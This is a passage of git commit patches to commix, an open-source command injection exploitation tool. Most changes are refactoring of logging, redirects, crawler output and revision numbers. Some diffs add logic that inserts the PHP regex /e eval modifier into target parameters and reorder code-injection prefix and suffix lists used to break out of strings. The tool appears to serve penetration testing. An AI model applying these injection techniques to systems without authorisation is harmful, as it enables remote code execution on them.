src/core/injections/controller/checks.py | 34 ++++++++++++++++++-- src/core/injections/controller/controller.py | 11 +++---- src/core/requests/requests.py | 4 ++- src/utils/settings.py | 8 +++-- 5 files changed, 45 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8cf4222db2..818c2d2511 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). ## Version 3.6 (2022-11-18) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3132d8869d..73bb05db70 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -250,11 +250,12 @@ def get_value_boundaries(value): Check if the value has boundaries. """ def value_boundaries(value): - message = "It appears that the value '" + value + "' has boundaries. " + _ = get_value_boundaries(value) + message = "It appears that the value '" + str(_) + "' has boundaries. " message += "Do you want to inject inside? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - value = get_value_boundaries(value) + value = _ elif procced_option in settings.CHOICE_NO: settings.INJECT_INSIDE_BOUNDARIES = False pass @@ -763,6 +764,35 @@ def check_CGI_scripts(url): if not _: menu.options.shellshock = False +""" +Add the PCRE_REPLACE_EVAL (/e) modifier +""" +def add_PCRE_REPLACE_EVAL_modifier(url): + try: + if re.findall(r"=/(.*)/&", url) or re.findall(r"=/(.*)/&", menu.options.data): + while True: + message = "Do you want to add the PCRE_REPLACE_EVAL (/e) modifier outside boundaries? [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + settings.PCRE_REPLACE_EVAL = True + if modifier_check in settings.CHOICE_YES: + if re.findall(r"=(.*)&", url): + url = url.replace("/&", "/e&") + elif re.findall(r"=(.*)&", menu.options.data): + menu.options.data = menu.options.data.replace("/&", "/e&") + return url + elif modifier_check in settings.CHOICE_NO: + return url + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(shellshock_check) + pass + except TypeError as err_msg: + pass + + return url + """ Check if http / https. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 70723645de..2eff869a3e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -131,18 +131,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + settings.PCRE_REPLACE_EVAL = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: - try: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - except TypeError as err_msg: - pass + url = checks.add_PCRE_REPLACE_EVAL_modifier(url) if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): @@ -231,6 +226,8 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met # Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): + if not settings.PCRE_REPLACE_EVAL: + url = checks.add_PCRE_REPLACE_EVAL_modifier(url) injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" if not settings.SKIP_CODE_INJECTIONS: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bbff77636b..3b341542df 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -391,7 +391,9 @@ def request_failed(err_msg): return False else: err_msg = reason - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ + (menu.options.ignore_code and menu.options.ignore_code in str(err_msg).lower()) or \ + settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): return True else: if len(err_msg) != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index f369145e02..fb6102c385 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -468,13 +468,13 @@ def sys_argv_errors(): # The code injection prefixes. EVAL_PREFIXES = [] -EVAL_PREFIXES_LVL1 = ["{${", "'.", "."] +EVAL_PREFIXES_LVL1 = [".", "'.", "{${"] EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. EVAL_SUFFIXES = [] -EVAL_SUFFIXES_LVL1 = ["}}", ".'", ""] +EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"] EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] @@ -1229,4 +1229,6 @@ def sys_argv_errors(): ANSWERS = "" CHECKING_PARAMETER = "" + +PCRE_REPLACE_EVAL = False # eof \ No newline at end of file From 17ca1f025833ebf6cd13afe41b318a0a27d5ffa0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 23 Dec 2022 09:10:55 +0200 Subject: [PATCH 0234/1023] Fixes https://github.com/commixproject/commix/issues/798 --- src/core/main.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index d1aba20fb6..a4a2792bb8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -293,7 +293,9 @@ def url_response(url): response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: - url = redirection.do_check(request, url) + redirect_url = redirection.do_check(request, url) + if redirect_url is not None: + url = redirect_url return response, url """ diff --git a/src/utils/settings.py b/src/utils/settings.py index fb6102c385..6b7f2a0ff9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fb2a29f9ceeac4a11e44b568c445f20f30726743 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 24 Dec 2022 09:08:41 +0200 Subject: [PATCH 0235/1023] Minor update regarding logging to a file --- src/utils/logs.py | 82 +++++++++++++++---------------------------- src/utils/settings.py | 2 +- 2 files changed, 29 insertions(+), 55 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index c5a3ca13d7..87686168b2 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -30,6 +30,21 @@ 2. Check for logs updates and apply if any! """ +""" +Directory creation +""" +def path_creation(path): + if not os.path.exists(path): + try: + os.mkdir(path) + except OSError as err_msg: + try: + error_msg = str(err_msg).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg) + "." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + """ Logs filename creation. """ @@ -37,30 +52,18 @@ def logs_filename_creation(url): if menu.options.output_dir: if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir - if not output_dir.endswith("/"): - output_dir = output_dir + "/" else: error_msg = "The '" + menu.options.output_dir + "' is not directory." print(settings.print_critical_msg(error_msg)) raise SystemExit() else: output_dir = settings.OUTPUT_DIR - - # One directory up, if the script is being run under "/src". - output_dir = os.path.dirname(output_dir) - try: - os.stat(output_dir) - except: - try: - os.mkdir(output_dir) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + output_dir = os.path.dirname(output_dir) + path_creation(output_dir) + + if not output_dir.endswith("/"): + output_dir = output_dir + "/" # The logs filename construction. filename = create_log_file(url, output_dir) @@ -72,44 +75,15 @@ def logs_filename_creation(url): """ def create_log_file(url, output_dir): - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - - parts = url.split('//', 1) - try: - host = parts[1].split('/', 1)[0] - except IndexError: - host = parts[0].split('/', 1)[0] - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - - # Check if port is defined to host. - if ":" in host: - host = host.replace(":","_") - try: - os.stat(output_dir + host + "/") - except: - try: - os.mkdir(output_dir + host + "/") - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" + logs_path = output_dir + host + path_creation(logs_path) # Create cli history file if does not exist. - settings.CLI_HISTORY = output_dir + host + "/" + "cli_history" + settings.CLI_HISTORY = logs_path + "cli_history" if not os.path.exists(settings.CLI_HISTORY): - open(settings.CLI_HISTORY,'a').close() + open(settings.CLI_HISTORY,'a').close() if menu.options.session_file is not None: if os.path.exists(menu.options.session_file): @@ -119,16 +93,16 @@ def create_log_file(url, output_dir): menu.options.session_file + \ "') does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() else: - settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db" + settings.SESSION_FILE = logs_path + "session.db" # Load command history if settings.LOAD_SESSION == True: checks.load_cmd_history() # The logs filename construction. - filename = output_dir + host + "/" + settings.OUTPUT_FILE + filename = logs_path + settings.OUTPUT_FILE try: output_file = open(filename, "a") if not menu.options.no_logging: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6b7f2a0ff9..8ebf7a64e9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b4f88280c11efc6207ad274d5e927713981fbad4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 25 Dec 2022 08:57:24 +0200 Subject: [PATCH 0236/1023] Minor update --- src/core/requests/headers.py | 4 ++++ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f1fe4629ac..eae5f32e5d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -105,6 +105,10 @@ def send(self, req): unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] request_http_headers = [x for x in unique_request_http_headers if x] + if menu.options.data and \ + len(request_http_headers) == 1 and \ + settings.VERBOSITY_LEVEL >= 2: + print(settings.SINGLE_WHITESPACE) for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: print(settings.print_traffic(header)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8ebf7a64e9..fc1d4b5ccf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 224584302dad94301579e9a7b50d306091279d14 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 26 Dec 2022 08:59:41 +0200 Subject: [PATCH 0237/1023] Fixes https://github.com/commixproject/commix/issues/800 --- src/core/injections/controller/parser.py | 30 ++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 2cdd04b4f1..137fcc6889 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -118,24 +118,24 @@ def invalid_data(request): request_url = re.findall(r"" + " (.*) HTTP/", request) if request_url: - # Check empty line for POST data. - if len(request.splitlines()[-2]) == 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - try: + try: + # Check empty line for POST data. + if len(request.splitlines()[-2]) == 0: + result = [item for item in request.splitlines() if item] + multiple_xml = [] + for item in result: + if checks.is_XML_check(item): + multiple_xml.append(item) + if len(multiple_xml) != 0: + menu.options.data = '\n'.join([str(item) for item in multiple_xml]) + else: + menu.options.data = result[len(result)-1] + else: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) + except IndexError: + invalid_data(request_file) # Check if invalid data if not request_url: diff --git a/src/utils/settings.py b/src/utils/settings.py index fc1d4b5ccf..0474689794 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bf8fad9e3f7dd5db1e3e027c1c723f20899afe5c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 27 Dec 2022 09:43:59 +0200 Subject: [PATCH 0238/1023] Fixes https://github.com/commixproject/commix/issues/802 --- src/core/main.py | 13 ++++++++----- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index a4a2792bb8..82172dcb7b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -735,14 +735,17 @@ def main(filename, url): menu.options.data = False while True: message = "Enter injection level (--level) [1-3, Default: 1] > " - if settings.STDIN_PARSING or menu.options.level > settings.DEFAULT_INJECTION_LEVEL: + if settings.STDIN_PARSING: print(settings.print_message(message + str(menu.options.level))) break - menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: + try: + menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL): + pass + else: + break + except ValueError: pass - else: - break # Seconds to delay between each HTTP request. if menu.options.delay > 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0474689794..5b0ffece85 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f9617e0d53ceee11ee6a9a0d2786648f6f4ee616 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 28 Dec 2022 09:07:42 +0200 Subject: [PATCH 0239/1023] Minor update --- src/core/injections/controller/parser.py | 5 ++--- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 137fcc6889..a4d7ea7c93 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -138,11 +138,10 @@ def invalid_data(request): invalid_data(request_file) # Check if invalid data - if not request_url: - invalid_data(request_file) else: - request_url = "".join([str(i) for i in request_url]) + invalid_data(request_file) + request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b0ffece85..e1ea82d296 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 99f65a6e434344fdc0fb3de9deae1d9775e3a5ed Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 29 Dec 2022 07:51:43 +0200 Subject: [PATCH 0240/1023] Minor update --- src/core/injections/controller/controller.py | 6 ++++-- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2eff869a3e..8cba07791f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -94,7 +94,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ + menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) else: @@ -153,7 +154,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ + menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e1ea82d296..d464d003d4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 438d1b1db2fcf7fc3551d551193ee385405b5294 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 30 Dec 2022 09:37:43 +0200 Subject: [PATCH 0241/1023] Minor fixes n' updated --- src/core/requests/headers.py | 7 +++++-- src/core/requests/redirection.py | 7 ++++--- src/utils/crawler.py | 14 ++------------ src/utils/settings.py | 2 +- 4 files changed, 12 insertions(+), 18 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index eae5f32e5d..94dd098c80 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -46,6 +46,8 @@ Checking the HTTP response content. """ def http_response_content(content): + if type(content) is bytes: + content = content.decode(settings.DEFAULT_CODEC) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) print(settings.print_http_response_content(content)) @@ -227,13 +229,14 @@ def https_open(self, req): except _urllib.error.HTTPError as err: if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, err.read()) - + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_URLS_NUM != 0) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + not settings.CRAWLED_URLS_NUM != 0 and \ + not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 213757bb15..ebca5a03e7 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -69,9 +69,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" - message += "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = common.read_input(message, default="Y", check_batch=True) + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" + message += "Do you want to follow the identified redirection? [Y/n] > " + redirection_option = common.read_input(message, default="Y", check_batch=True) + if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True if not settings.CRAWLING: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 8974259a71..af449f865e 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -193,12 +193,7 @@ def request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS_NUM += 1 - if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: - if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) """ Enable crawler. @@ -256,11 +251,8 @@ def no_usable_links(crawled_hrefs): """ def do_process(url): identified_hrefs = False - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - else: - if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: - sys.stdout.write("\r") + if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: + sys.stdout.write("\r") # Grab the crawled hrefs. try: response = request(url) @@ -343,8 +335,6 @@ def crawler(url, url_num, crawling_list): info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - if settings.VERBOSITY_LEVEL > 1: - print(settings.SINGLE_WHITESPACE) if link != 0: print(settings.SINGLE_WHITESPACE) settings.DEFAULT_CRAWLING_DEPTH += 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index d464d003d4..a10f0d984c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 30d48372f1f520d9ce58308e98cf0ec0bc15597c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 31 Dec 2022 08:53:15 +0200 Subject: [PATCH 0242/1023] Minor update --- src/core/main.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 82172dcb7b..319ed86acb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -932,7 +932,10 @@ def main(filename, url): except: pass elif message in settings.CHOICE_NO: - pass + if url_num == len(clean_output_href): + raise SystemExit() + else: + pass elif message in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index a10f0d984c..73ebcc4214 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82068730b24cb38e8e8b835025382abe700835a8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 1 Jan 2023 09:57:08 +0200 Subject: [PATCH 0243/1023] Trivial update --- src/core/main.py | 12 ++++++------ src/core/requests/headers.py | 6 ------ src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 13 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 319ed86acb..9fdb7cc0e1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -272,6 +272,9 @@ def init_request(url): Get the URL response. """ def url_response(url): + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + print(settings.print_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) # Check if defined Tor (--tor option). @@ -284,12 +287,6 @@ def url_response(url): request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: @@ -938,6 +935,9 @@ def main(filename, url): pass elif message in settings.CHOICE_QUIT: raise SystemExit() + + if url_num == len(clean_output_href): + raise SystemExit() except KeyboardInterrupt: try: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 94dd098c80..0aa83c9624 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -173,8 +173,6 @@ def https_open(self, req): settings.VALID_URL = True if not settings.CHECK_INTERNET: settings.INIT_TEST = False - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: @@ -187,10 +185,6 @@ def https_open(self, req): raise SystemExit() except _urllib.error.HTTPError as err_msg: - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - if (settings.CRAWLING and settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0) or \ - not settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS diff --git a/src/utils/settings.py b/src/utils/settings.py index 73ebcc4214..4c111ff79b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 86e467a37abef2b0bdddd53b4f7db590353726d4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Jan 2023 09:48:43 +0200 Subject: [PATCH 0244/1023] Minor update regarding heuristic checks --- src/core/main.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 9fdb7cc0e1..3bb52ca98c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -299,6 +299,11 @@ def url_response(url): Injection states initiation. """ def init_injection(url): + # Initiate heuristic checks. + if settings.SKIP_CODE_INJECTIONS: + settings.SKIP_CODE_INJECTIONS = False + if settings.SKIP_COMMAND_INJECTIONS: + settings.SKIP_COMMAND_INJECTIONS = False # Initiate injection checker. if settings.INJECTION_CHECKER: settings.INJECTION_CHECKER = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c111ff79b..e65c44d151 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 42fc4b5356b88aebc544bf8604b7f6ca29041711 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 3 Jan 2023 07:27:59 +0200 Subject: [PATCH 0245/1023] Minor update regarding Copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../blind/techniques/time_based/tb_enumeration.py | 2 +- .../blind/techniques/time_based/tb_file_access.py | 2 +- .../injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- 